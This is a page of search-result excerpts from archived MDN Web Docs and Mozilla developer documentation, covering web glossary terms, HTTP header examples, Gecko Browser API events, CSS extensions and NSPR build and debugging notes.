... learn more general knowledge rss on wikipedia technical reference latest specification ...
RTCP (RTP Control Protocol) - MDN Web Docs Glossary: Definitions of Web-related terms
rtcp periodically transmits control packets to all of an rtp session's participants, using the same mechanism that is being used to transmit the data packets.
... that underlying protocol handles the multiplexing of the data and control packets and may use separate network ports for each type of packet.
RTF - MDN Web Docs Glossary: Definitions of Web-related terms
rtf (rich text format) is a plain-text-based file format with support for formatting instructions (like bold or italic).
... learn more general knowledge rich text format on wikipedia technical reference final specification from microsoft ...
Request header - MDN Web Docs Glossary: Definitions of Web-related terms
however, these entity headers are often called request headers in such a context.
...g user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 accept-language: en-us,en;q=0.5 accept-encoding: gzip, deflate, br referer: https://developer.mozilla.org/testpage.html connection: keep-alive upgrade-insecure-requests: 1 if-modified-since: mon, 18 jul 2016 02:36:04 gmt if-none-match: "c561c68d0ba92bbeb8b0fff2a9199f722e3a621a" cache-control: max-age=0 strictly speaking, the content-length header in this example is not a request header like the others, but an entity header: post /myform.html http/1.1 host: developer.mozilla.org user-agent: mozilla/5.0 (macintosh; intel mac os x 10.9; rv:50.0) gecko/20100101 firefox/50.0 content-length: 128 learn more technical knowledge ...
Response header - MDN Web Docs Glossary: Definitions of Web-related terms
however, these entity requests are usually called responses headers in such a context.
...note that strictly speaking, the content-encoding and content-type headers are entity header: 200 ok access-control-allow-origin: * connection: keep-alive content-encoding: gzip content-type: text/html; charset=utf-8 date: mon, 18 jul 2016 16:06:00 gmt etag: "c561c68d0ba92bbeb8b0f612a9199f722e3a621a" keep-alive: timeout=5, max=997 last-modified: mon, 18 jul 2016 02:36:04 gmt server: apache set-cookie: mykey=myvalue; expires=mon, 17-jul-2017 16:06:00 gmt; max-age=31449600; path=/; secure transfer-encoding: chunked vary: cookie, accept-encoding x-backend-server: developer2.webapp.scl3.mozilla.com x-cache-info: not cacheable; meta data too large x-kuma-revision: 1085259 x-frame-options: deny ...
SIMD - MDN Web Docs Glossary: Definitions of Web-related terms
simd (pronounced "sim-dee") is short for single instruction/multiple data which is one classification of computer architectures.
... see also sisd for a sequential architecture with no parallelism in either the instructions or the data sets.
SMTP - MDN Web Docs Glossary: Definitions of Web-related terms
like pop3 and nntp, it is a state machine-driven protocol.
...primary complications include supporting various authentication mechanisms (gssapi, cram-md5, ntlm, msn, auth login, auth plain, etc.), handling error responses, and falling back when authentication mechanisms fail (e.g., the server claims to support a mechanism, but doesn't).
SPA (Single-page application) - MDN Web Docs Glossary: Definitions of Web-related terms
an spa (single-page application) is a web app implemention that loads only a single web document, and then updates the body content of that single document via javascript apis such as xmlhttprequest and fetch when different content is to be shown.
... this therefore allows users to use websites without loading whole new pages from the server, which can result in performance gains and a more dynamic experience, with some tradeoff disadvantages such as seo, more effort required to maintain state, implement navigation, and do meaningful performance monitoring.
SRI - MDN Web Docs Glossary: Definitions of Web-related terms
subresource integrity (sri) is a security feature that enables browsers to verify that files they fetch (for example, from a cdn) are delivered without unexpected manipulation.
... it works by allowing you to provide a cryptographic hash that a fetched file must match.
SVG - MDN Web Docs Glossary: Definitions of Web-related terms
svg also provides a useful set of tools, such as clipping, masking, filters, and animations.
... learn more general knowledge svg on wikipedia learning svg w3.org's svg primer technical information svg documentation on mdn latest svg specification ...
Scope - MDN Web Docs Glossary: Definitions of Web-related terms
the context in which values and expressions are "visible" or can be referenced.
...scopes can also be layered in a hierarchy, so that child scopes have access to parent scopes, but not vice versa.
Site - MDN Web Docs Glossary: Definitions of Web-related terms
this is computed by consulting a public suffix list to find the portion of the host which is counted as the public suffix (e.g.
... examples of the same site https://developer.mozilla.org/docs/ https://support.mozilla.org/ same site because the registrable domain of mozilla.org is the same http://example.com:8080 https://example.com same site because scheme and port are not relevant examples of different site https://developer.mozilla.org/docs/ https://example.com not same site because the registrable domain of the two urls differs specifications specification status comment url living standard initial definition ...
Sloppy mode - MDN Web Docs Glossary: Definitions of Web-related terms
ecmascript 5 and later let scripts opt in to a new strict mode, which alters the semantics of javascript in several ways to improve its resiliency and which make it easier to understand what's going on when there are problems.
... learn more general knowledge "strict mode" in chapter 7 ("javascript syntax") in the book speaking javascript.
Specification - MDN Web Docs Glossary: Definitions of Web-related terms
in the context of describing the web, the term "specification" (often shortened to simply "spec") generally means a document describing a language, technology, or api which makes up the complete set of open web technologies.
... learn more general knowledge specification on wikipedia technical reference open web platform specifications ...
Static typing - MDN Web Docs Glossary: Definitions of Web-related terms
a statically-typed language is a language (such as java, c, or c++) where variable types are known at compile time.
... in most of these languages, types must be expressly indicated by the programmer; in other cases (such as ocaml), type inference allows the programmer to not indicate their variable types.
Stylesheet - MDN Web Docs Glossary: Definitions of Web-related terms
internal stylesheets are placed inside a <style> element inside the <head> of a web document, and external stylesheets are placed inside a separate .css file, which is applied to a document by referencing the file inside a <link> element in the document's head.
... external stylesheets are generally preferred because they allow you to control the styling of multiple pages from a single place, rather than having to repeat the css across each page.
TCP - MDN Web Docs Glossary: Definitions of Web-related terms
tcp (transmission control protocol) is an important network protocol that lets two hosts connect and exchange data streams.
... tcp has concurrence control, which means the initial requests start small, increasing in size to the levels of bandwidth the computers, servers, and network can support.
Type coercion - MDN Web Docs Glossary: Definitions of Web-related terms
type coercion is the automatic or implicit conversion of values from one data type to another (such as strings to numbers).
...javascript had a choice between a string or a number and decided to use a string.
URI - MDN Web Docs Glossary: Definitions of Web-related terms
the most common are urls, which identify the resource by giving its location on the web.
... urns, by contrast, refer to a resource by a name, in a given namespace, such as the isbn of a book.
Validator - MDN Web Docs Glossary: Definitions of Web-related terms
a validator is a program that checks for syntax errors in code.
... validators can be created for any format or language, but in our context we speak of tools that check html, css, and xml.
Visual Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
this can be smaller than the layout viewport, such as when the user has pinched-zoomed.
... the visual viewport is the visual portion of a screen excluding on-screen keyboards, areas outside of a pinch-zoom area, or any other on-screen artifact that doesn't scale with the dimensions of a page.
W3C - MDN Web Docs Glossary: Definitions of Web-related terms
it consists of over 350 member-organizations that jointly develop web standards, run outreach programs, and maintain an open forum for talking about the web.
... each standard passes through four stages of maturity: working draft (wd), candidate recommendation (cr), proposed recommendation (pr), and w3c recommendation (rec).
WebExtensions - MDN Web Docs Glossary: Definitions of Web-related terms
this system provides apis, which to a large extent are supported across different browsers like mozilla firefox, google chrome, opera browser, and microsoft edge .
... learn more technical reference browser extensions on mdn ...
WebSockets - MDN Web Docs Glossary: Definitions of Web-related terms
websocket is a protocol that allows for a persistent tcp connection between server and client so they can exchange data at any time.
... learn more general knowledge websocket on wikipedia technical reference websocket reference on mdn learn about it writing websocket client applications writing websocket servers ...
WebVTT - MDN Web Docs Glossary: Definitions of Web-related terms
webvtt files provide metadata that is time-aligned with audio or video content like captions or subtitles for video content, text video descriptions, chapters for content navigation, and more.
... learn more general knowledge webvtt on wikipedia technical reference webvtt on mdn specification ...
Web standards - MDN Web Docs Glossary: Definitions of Web-related terms
this non-exhaustive list gives you an idea of which standards websites and network systems must conform to: ietf (internet engineering task force): internet standards (std), which among other things govern set-up and use of uris, http, and mime w3c: specifications for markup language (e.g., html), style definitions (i.e., css), dom, accessibility iana (internet assigned numbers authority): name and number registries ecma intl.: scripting sta...
...ndards, most prominently for javascript iso (international organization for standardization): standards governing a diverse array of aspects, including character encodings, website management, and user-interface design learn more general knowledge web standards on wikipedia ...
XHR (XMLHttpRequest) - MDN Web Docs Glossary: Definitions of Web-related terms
learn more general knowledge xmlhttprequest on wikipedia synchronous vs.
... asynchronous communications technical information the xmlhttprequest object.
XSLT - MDN Web Docs Glossary: Definitions of Web-related terms
the xslt processor produces a new document based on the xml document and an xslt stylesheet, making no changes to the original files in the process.
... learn more technical reference xslt on wikipedia xslt documentation on mdn ...
Array - MDN Web Docs Glossary: Definitions of Web-related terms
each item in an array has a number attached to it, called a numeric index, that allows you to access it.
... learn more general knowledge array on wikipedia technical reference javascript array on mdn ...
beacon - MDN Web Docs Glossary: Definitions of Web-related terms
a web beacon is a small object, such as a 1 pixel gif, embedded in markup, used to communicate information back to the web server or to 3rd party servers.
... there is a w3c draft beacon specification to standardize the beacon as an interface to asynchronously transfer http data from user agent to a web server prior to page load without negative performance impact.
caret - MDN Web Docs Glossary: Definitions of Web-related terms
most user interfaces represent the caret using a thin vertical line or a character-sized box that flashes, but this can vary.
... <input type="text"> <input type="password"> <input type="search"> <input type="date">, <input type="time">, <input type="datetime">, and <input type="datetime-local"> <input type="number">, <input type="range"> <input type="email">, <input type="tel">, and <input type="url"> <textarea> any element with its contenteditable attribute set ...
Event - MDN Web Docs Glossary: Definitions of Web-related terms
events are assets generated by dom elements, which can be manipulated by a javascript code.
... learn more technical reference event documentation on mdn general knowledge official website dom events on wikipedia ...
JPEG - MDN Web Docs Glossary: Definitions of Web-related terms
jpeg compression is composed of three compression techniques applied in successive layers, including chrominance subsampling, discrete cosine transformation and quantization, and run-length delta & huffman encoding.
... chroma subsampling involves implementing less resolution for chroma information than for luma information, taking advantage of the human visual system's lower acuity for color differences than for luminance.
Loop - MDN Web Docs Glossary: Definitions of Web-related terms
an example would be the process of getting an item of data and changing it, and then making sure some condition is checked such as, if a counter has reached a prescribed number.
... statement 3 increases the value of i (i++) each time the code block is run.
Prerender - MDN Web Docs Glossary: Definitions of Web-related terms
with prerendering, the content is prefetched and then rendered in the background by the browser as if the content had been rendered into an invisible separate tab.
... <link rel="prerender" href="https://example.com/content/to/prerender"> see also prefetch ...
Property (CSS) - MDN Web Docs Glossary: Definitions of Web-related terms
a css property is a characteristic (like color) whose associated value defines one aspect of how the browser should display the element.
...*/ /* in the document will be styled by that rule */ div { /* the property "color" with the value "black" indicates */ /* that the text will have the color black */ color: black; /* the property "background-color" with the value "white" indicates */ /* that the background color of the elements will be white */ background-color: white; } learn more general knowledge learn css technical reference the css reference on mdn the css working group current work ...
Property (JavaScript) - MDN Web Docs Glossary: Definitions of Web-related terms
a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
... this distinction matters because the original referenced object remains unchanged when you change the property's value.
Property - MDN Web Docs Glossary: Definitions of Web-related terms
it may refer to: property (css) a css property is a characteristic (like color) whose associated value defines one aspect of how the browser should display the element.
... property (javascript) a javascript property is a characteristic of an object, often describing attributes associated with a data structure.
Protocol - MDN Web Docs Glossary: Definitions of Web-related terms
a protocol is a system of rules that define how data is exchanged within or between computers.
... communications between devices require that the devices agree on the format of the data that is being exchanged.
undefined - MDN Web Docs Glossary: Definitions of Web-related terms
undefined is a primitive value automatically assigned to variables that have just been declared, or to formal arguments for which there are no actual arguments.
... example var x; //create a variable but assign it no value console.log("x's value is", x) //logs "x's value is undefined" learn more general knowledge undefined value on wikipedia technical reference javascript data types and data structures ...
User agent - MDN Web Docs Glossary: Definitions of Web-related terms
along with each request they make to the server, browsers include a self-identifying user-agent http header called a user agent (ua) string.
... learn more general knowledge user agent on wikipedia technical reference navigator.useragent browser detection using the user agent rfc 2616: 14.43: the user-agent header ...
Viewport - MDN Web Docs Glossary: Definitions of Web-related terms
in web browser terms, it refers to the part of the document you're viewing which is currently visible in its window (or the screen, if the document is being viewed in full screen mode).
...this can be smaller than the layout viewport, such as when the user has pinched-zoomed.
Use CSS to solve common problems - Learn web development
LearnCSSHowto
how to use background-clip to control how much of the box your background image covers.
... how to change the box model completely using box-sizing how to control backgrounds how to control borders how to style an html table how to add shadows to boxes uncommon and advanced techniques css allows some advanced design techniques.
Example 2 - Learn web development
js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <li class="option">apple</li> </ul> </div> <form> css content .widget select, .no-widget .select { position : absolute; left : -5000em; height : 0; overflow : hidden; } /* --------------- */ /* required styles */ /* ...
... hidden; } .select .option { padding: .2em .3em; } .select .highlight { background: #000; color: #ffffff; } javascript content window.addeventlistener("load", function () { var form = document.queryselector('form'); form.classlist.remove("no-widget"); form.classlist.add("widget"); }); result for js no js html content <form class="no-widget"> <select name="myfruit"> <option>cherry</option> <option>lemon</option> <option>banana</option> <option>strawberry</option> <option>apple</option> </select> <div class="select"> <span class="value">cherry</span> <ul class="optlist hidden"> <li class="option">cherry</li> <li class="option">lemon</li> <li class="option">banana</li> <li class="option">strawberry</li> <...
How to contribute to the Learning Area on MDN - Learn web development
this backup is maintained by andrew sachen of realityripple software.
... it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Server-side website programming first steps - Learn web development
in this first article, we look at server-side programming from a high level, answering questions such as "what is it?", "how does it differ from client-side programming?", and "why it is so useful?".
...now we show how web frameworks can simplify these tasks, and help you choose the right framework for your first server-side web application.
Obsolete
this page contains theme documents and resources that we don't expect will ever be updated, but which we're keeping for the time being as potential source material for updated docs.
... creating a skin for firefox uuid contents.rdf install.rdf theme changes in firefox 2 theme changes in firefox 3 theme changes in firefox 3.5 theme changes in firefox 4 building a theme common theme issues and their solutions making sure your theme works with rtl locales creating a skin for seamonkey 2 dom inspector inspectorwidget force rtl yet another theme tutorial ...
Themes
themes allow you to change the look and feel of the user interface and personalize it to your tastes.
... tools & resources browser theme manifest.json keys browser extensions theme api discourse forum theme related blog posts archived resources ...
Cookies in Mozilla
creating a cookie log steps to create and attach a cookie log in order to aid in triaging a bug in cookies.
... original document information author(s): mike connor last updated date: march 15, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Building Firefox with Debug Symbols
breakpad symbol files after the build is complete, run the following command to generate an archive of breakpad symbol files: mach buildsymbols the tinderbox uses an additional uploadsymbols target to upload symbols to a socorro server.
...if you want to keep the symbols in the patches, you need to add this to your mozconfig: ac_add_options --disable-install-strip ...
Windows SDK versions
if it does, several features will be disabled if you build with an sdk older than the default, which means that you'll have to specify a non-default sdk version explicitly.
... quick start follow the instructions for whichever version of visual c++ you're using.
Getting documentation updated
this backup is maintained by andrew sachen of realityripple software.
... it may see periodical improvements or updates, and may eventually even be cleaned up (and de-archived) for better uxp focus, but for now, it's a historical snapshot for reference, not a living website.
Interface development guide
idl interface rules design guidelines and rules when creating and changing xpcom interfaces.
... if you're going to be changing an interface, be sure to read these first!
Runtime Directories
lla firefox\ windows 2000/xp c:\program files\mozilla firefox\ c:\documents and settings\<username>\application data\mozilla\firefox\ (or %appdata%\mozilla\firefox\) c:\documents and settings\<username>\local settings\application data\mozilla\firefox\ os x /applications/firefox.app ~/library/application support/firefox/profiles/xxxxxxxx.default/ ~/library/caches/firefox/profiles/xxxxxxxx.default/ linux ????
...ogram files\mozilla thunderbird\ windows 2000/xp c:\program files\mozilla thunderbird\ c:\documents and settings\<username>\application data\thunderbird\ (or %appdata%\thunderbird\) c:\documents and settings\<username>\local settings\application data\thunderbird\ os x /applications/thunderbird.app ~/library/thunderbird/profiles/xxxxxxxx.default/ ~/library/caches/thunderbird/profiles/xxxxxxxx.default/ linux ????
Message manager
message managers provide a way for chrome-privileged javascript code to communicate across process boundaries.
... they are particularly useful for allowing chrome code, including the browser's code and extension's code, to access web content while the browser is running web content in a separate process.
Security best practices for Firefox front-end engineers
existing security controls sanitizing all strings that enter the dom through apis such as innerhtml when running system-privileged chrome code, we sanitize all html fragments that are created for chrome-privileged documents.
...developers are able to avoid tripping the rule by using escaping functions in combination with template strings, for example: bar.innerhtml = escapehtml`<a href='${url}'>about</a>`; in system-privileged chrome code, any kind of remaining scripts will still be removed by our sanitizer.
HTMLIFrameElement.getStructuredData()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... examples var browser = document.queryselector('iframe'); browser.addeventlistener('mozbrowserloadend',function() { var request = browser.getstructureddata(); request.onsuccess = function() { console.log(request.result); } }); running this code in a browser api app and then loading up a page that contains microdata (such as the website of british alt-country band salter cane) will result in a json object being returned, along the lines of: { "items": [ { "type":["http://microformats.org/profile/hcard"], "properties":{"fn":["chris askew"], "n":[ { "properties": { "given-name":["chris"], "family-name":["askew"],...
mozbrowserclose
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserclose", function() { console.log("browser window has been closed; iframe will be destroyed."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserdocumentfirstpaint
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserdocumentfirstpaint", function() { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserfirstpaint
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserfirstpaint", function(event) { console.log("first content painted."); }); related events mozbrowserasyncscroll mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsershowmodalprompt mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropentab
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropentab", function( event ) { console.log("a new document has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowseropenwindow
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowseropenwindow", function( event ) { console.log("a new window has opened containing the content at " + event.details.url + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserresize
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserresize", function( event ) { console.log("the new window size is " + event.details.width + " x " + event.details.height + "."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserscroll
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowserscroll", function( event ) { console.log("the new scroll position is " + event.details.left + " across and " + event.details.top + "down."); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowsershowmodalprompt
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe"); browser.addeventlistener("mozbrowsershowmodalprompt", function( event ) { console.log("asking for prompt:" + json.stringify(event.detail)); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange mozbrowserusernameandpasswordrequired ...
mozbrowserusernameandpasswordrequired
there may also be large incompatibilities between implementations and the behavior may change in the future.
... example var browser = document.queryselector("iframe[mozbrowser]"); browser.addeventlistener("mozbrowserusernameandpasswordrequired", function( event ) { console.log("the auth realm is:" + event.detail.realm); }); related events mozbrowserasyncscroll mozbrowserclose mozbrowsercontextmenu mozbrowsererror mozbrowsericonchange mozbrowserloadend mozbrowserloadstart mozbrowserlocationchange mozbrowseropenwindow mozbrowsersecuritychange mozbrowsertitlechange ...
HTMLIFrameElement.sendMouseEvent()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... button a number representing which button has been pressed on the mouse: 0 (left button), 1 (middle button), or 2 (right button).
HTMLIFrameElement.setActive()
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the setactive() method of the htmliframeelement sets the current <iframe> as the active frame, which has an effect on how it is prioritized by the process manager.
HTMLIFrameElement.stop()
MozillaGeckoChromeAPIBrowser APIstop
there may also be large incompatibilities between implementations and the behavior may change in the future.
... examples stopreload.addeventlistener('touchend',function() { if(stopreload.textcontent === 'x') { browser.stop(); } else { browser.reload(); } }); specification not part of any specification.
CSS -moz-bool-pref() @supports function
the -moz-bool-pref() @supports condition is available to gecko chrome and ua stylesheets to check if a boolean preference is enabled.
... example warning: this will only work when loaded from a gecko chrome stylesheet.
:-moz-lwtheme-brighttext
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the :-moz-lwtheme-brighttext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a bright text color is selected.
:-moz-lwtheme-darktext
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the :-moz-lwtheme-darktext pseudo-class matches in chrome documents when :-moz-lwtheme is true and a lightweight theme with a dark text color is selected.
:-moz-lwtheme
there may also be large incompatibilities between implementations and the behavior may change in the future.
... the :-moz-lwtheme pseudo-class matches in chrome documents when the root element's lightweightthemes attribute is true and a theme is selected.
::-moz-tree-row
there may also be large incompatibilities between implementations and the behavior may change in the future.
... associated elements treerow syntax treechildren::-moz-tree-row { style properties } style properties background border margin outline padding display -moz-appearance examples treechildren::-moz-tree-row( foo bar ) { margin: 2%; } ...where...
overflow-clip-box-block
the overflow-clip-box-block css property specifies relative to which box the clipping happens when there is an overflow — in the block direction.
...note that this property is activated by default only in the ua stylesheet and chrome contexts.
overflow-clip-box-inline
the overflow-clip-box-inline css property specifies relative to which box the clipping happens when there is an overflow — in the inline direction.
...note that this property is activated by default only in the ua stylesheet and chrome contexts.
Roll your own browser: An embedding how-to
after the build is done, you can change directory into mozilla/embedding/config, and do a make.
...there are two functions that are needed: nsresult ns_initembedding(const char *apath); nsresult ns_termembedding(); pretty self-explanatory.
Gecko's "Almost Standards" Mode
(see the devedge article "images, tables, and mysterious gaps" for a detailed explanation of how such layouts are treated in "standards" mode.) in slightly more detail, what differs in almost-standards mode is roughly this: inline boxes that have no non-whitespace text as a child and have no border, padding, or margin: do not influence the size of the line box (that is, their line-height is ignored) do not get a height (e.g., for their background) larger than that of their descendants, even ...
... triggering "almost standards" the doctypes that will trigger "almost standards" mode are those which contain: the public identifier "-//w3c//dtd xhtml 1.0 transitional//en" the public identifier "-//w3c//dtd xhtml 1.0 frameset//en" the public identifier "-//w3c//dtd html 4.01 transitional//en", with a system identifier the public identifier "-//w3c//dtd html 4.01 frameset//en", with a system identifier the ibm system doctype "http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd" a complete doctype contains a public identifier and a s...
IPDL Type Serialization
each type specializes ipc::paramtraits as follows: namespace ipc { template <> struct paramtraits<mytype> { typedef mytype paramtype; static void write(message* amsg, const paramtype& aparam) { // implement serialization here } static bool read(const message* amsg, void** aiter, paramtype* aresult) { // implement deserialization here.
...it is never acceptable to serialize/deserialize raw pointer values; if you are tempted, you probably should create a subprotocol for that data, so that ipdl can check the values and lifetime.
UpdateInfo
updateinfo objects hold information about available versions of add-ons and are generated as a result of an update check performed by addonupdatechecker.
...each item in the array contains "id", "minversion", and "maxversion" properties.
JavaScript OS
the javascript os module contains tools that allow chrome content (i.e.
...at the time of this writing, some of the features of this module are available only to chrome workers.
OS.File.Error
} catch (ex) { if (ex instanceof os.file.error && ex.becausenosuchfile) { // the file does not exist } } global object os.file.error methods overview the following functions are utility functions that may be used to construct instances of os.file.error, setting the platform-specific error number.
... becausenosuchfile true if the operation failed because a file or directory does not exist, false otherwise.
Promise.jsm
a reference to an existing promise may be received by different means, for example as the return value of a call into an asynchronous api.
... return value a new object, containing the new promise in the promise property, and the methods to change its state in the resolve and reject properties.
PromiseUtils.jsm
this method was previously implemented as promise.defer(), which is obsolete since gecko 30.
... return value a new object, containing the new promise in the promise property, and the methods to change its state in the resolve and reject properties.
openLocationLastURL.jsm
this object lets you fetch and change the url that is placed in the "open location" dialog box when it opens.
...using the openlocationlasturl object to get or set the value of the open location edit box, simply read the value of, or set the value of, the openlocationlasturl.value field: var url = openlocationlasturl.value; openlocationlasturl.value = "http://www.mozilla.org/"; to reset the value of the edit box to the default (which is an empty string), you can call the reset() method: method overview reset() methods reset the reset() method resets the saved url to the default, which is an empty string.
Localization prerequisites
there is no warranty; not even for merchantability or fitness for a particular purpose great, hg works.
...now continue the scheme for python and perl, and try zip -h, too.
MathML3Testsuite
this exception also holds for obsolete features (such as macro, mode etc) or for other undefined behaviors (attribute href for example).
... characters blocks symbols variants entitynames numericrefs utf8 general clipboard genattribs math presentation css dynamicexpressions generallayout scriptsandlimits tablesandmatrices tokenelements topics accents bidi elementarymathexamples embellishedop largeop linebreak nesting stretchychars whitespace torturetests errorhandling original document information author(s): frédéric wang other contributors: last updated date: may 26, 2010 copyright information: portions of this content are...
MathML Accessibility in Mozilla
this table below provides a list of mathml constructions and how they are read in mozilla applications for various platforms: windows: mathml support is provided by nvda, which actually delegates math reading to the proprietary mathplayer plugin.
... accessfu: mathml support in android and firefox os is currently being implemented in our accessfu module and a patch is available on bug 1163374.
MathML Demo: <msqrt>, <mroot> - radicals
about all you can do with them is see how the rendering stretches them in various ways: horizontally sin ⁡ x ⁢ cos ⁡ y , vertically 1 2 3 4 and det ( 1 2 3 4 ) 2 , as well as 2 x ⁢ y ⁢ z ⁢ w , 2 1 2 3 4 , and 2 ⌈ det ( 1 2 3 4 ) ⌉ .
...about all you can do with them is see how the rendering stretches them in various ways: horizontally sin ⁡ x ⁢ cos ⁡ y vertically 1 2 3 4 and det ( 1 2 3 4 ) 2 as well as 2 x ⁢ y ⁢ z ⁢ w 2 1 2 3 4 and 2 ⌈ det ( 1 2 3 4 ) ⌉ the formula of binet shows how the n-th term in the fibonacci series can be expressed using roots f n = 1 5 [ ( 1 + 5 2 ) n - ( 1 - 5 2 ) n ] ...
Mozilla external string guide
the mozilla codebase used to have a notion of "external" strings, which were the string classes visible to code outside of the mozilla codebase (extensions, xulrunner applications, and embedders).
...the only remaining string classes are the "internal" ones, which are documented xpcom guide internal strings.
Build Metrics
"build metrics" is a catch-all term for performance measures that are generated by the firefox build system and tracked by perfherder.
...so the value may fluctuate from build to build even if the number of compiler warnings didn't actually change.
Investigating CSS Performance
http://people.mozilla.org/~jmuizelaar/css-perf.patch this patch instruments a bunch of key places and should give an estimate of the order of magnitude of the different parents.
... two counts are collected which allow for an estimation of the amount of work being done during restyle: resolvestyleforcount this is incremented everytime that we do style resolution on an element contentenumfunccount this is incremented roughly for every rule that we test against time during restyle can be spent in a bunch of places.
Leak Gauge
nspr_log_modules=domleak:5,documentleak:5,nsdocshellleak:5,nodeinfomanagerleak:5 nspr_log_file=nspr.log # or any other filename of your choice this will overwrite any existing file called nspr.log.
...summary: leaked 13 out of 15 dom windows leaked 35 out of 46 documents leaked 4 out of 4 docshells leaked content nodes in 42 out of 53 documents if you see such a results, please file a bug.
browser.dom.window.dump.file
changes require an application restart.
... type:string default value:none exists by default: no application support: gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) status: active; last updated 2012-03-18 introduction: pushed to nightly on 2009-04-24 bugs: bug 489938 values the value holds the file system path for the file in which the content of the window.dump() calls get written, e.g.
Debugging out-of-memory problems
this article explains how to debug such problems.
... firefox android on firefox android, an about:memory dump may be triggered from a connect desktop machine with the command: adb shell am broadcast -a org.mozilla.gecko.memory_dump the location of the dump file will be printed to the android log (viewed with adb logcat | grep geckoconsole) and can be retrieved via adb pull.
L20n HTML Bindings
when all dom nodes are localized, the document element will fire a documentlocalized event, which you can listen to: document.addeventlistener('documentlocalized', function() { // the dom has been localized and the user sees it in their language yourapp.init(); }); exposing context data you can expose important bits of data to the localization context in form of context data.
...with no information about the available and the default locales, l20n will switch to the monolingual mode.
NSPR build instructions
prerequisites on windows, the nspr build system needs gnu make and a unix command-line utility suite such as mks toolkit, cygwin, and msys.
... build the libraries build the test programs for example, # check out the source tree from mercurial hg clone https://hg.mozilla.org/projects/nspr # create a build directory mkdir target.debug cd target.debug # run the configure script ../nspr/configure [optional configure options] # build the libraries gmake # build the test programs cd pr/tests gmake on mac os x, use make, which is gnu make.
Hash Tables
this chapter describes the hash table functions in the plds (portable library — data structures) library of nspr.
... a hash table lookup may change the internal organization of the hash table (to speed up future lookups).
IPC Semaphores
this chapter describes the nspr api for using interprocess communication semaphores.
... nspr provides an interprocess communication mechanism using a counting semaphore model similar to that which is provided in unix and windows platforms.
Long Long (64-bit) Integers
« previousnext » this chapter describes the global functions you use to perform 64-bit integer operations.
...the specific implementation of each macro depends on whether the compiler for the target platform supports 64-bit integers.
NSPR LOG FILE
this environment variable specifies the file to which log messages are directed.
...this value causes logging output to be written using the windows function outputdebugstring(), which writes to the debugger window.
Network Addresses
this chapter describes the nspr types and functions used to manipulate network addresses.
